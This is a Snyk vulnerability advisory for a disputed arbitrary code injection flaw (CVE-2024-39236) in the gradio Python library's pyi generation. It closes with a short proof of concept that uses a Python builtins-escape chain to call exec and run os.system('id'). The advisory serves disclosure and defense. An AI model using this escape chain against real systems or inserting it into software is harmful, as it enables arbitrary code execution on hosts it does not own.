Arbitrary Code Injection Affecting gradio package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PYTHON-GRADIO-7414193
- published2 Jul 2024
- disclosed1 Jul 2024
- creditAaron911
Introduced: 1 Jul 2024
CVE-2024-39236 (opens in a new tab)How to fix?
There is no fixed version for gradio.
Overview
gradio is a Python library for easily interacting with trained machine learning models
Affected versions of this package are vulnerable to Arbitrary Code Injection due to improper check of the input, when users generate pyi. An attacker can execute arbitrary code by supplying crafted input.
Note:
This vulnerability is disputed by the maintainer because the report is about a user attacking himself.
PoC
import gradio as gr
# Define the events
events = ["on_load"]
pyi_code = gr.component_meta.create_pyi(''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['exec']('import os; os.system("id")') , events)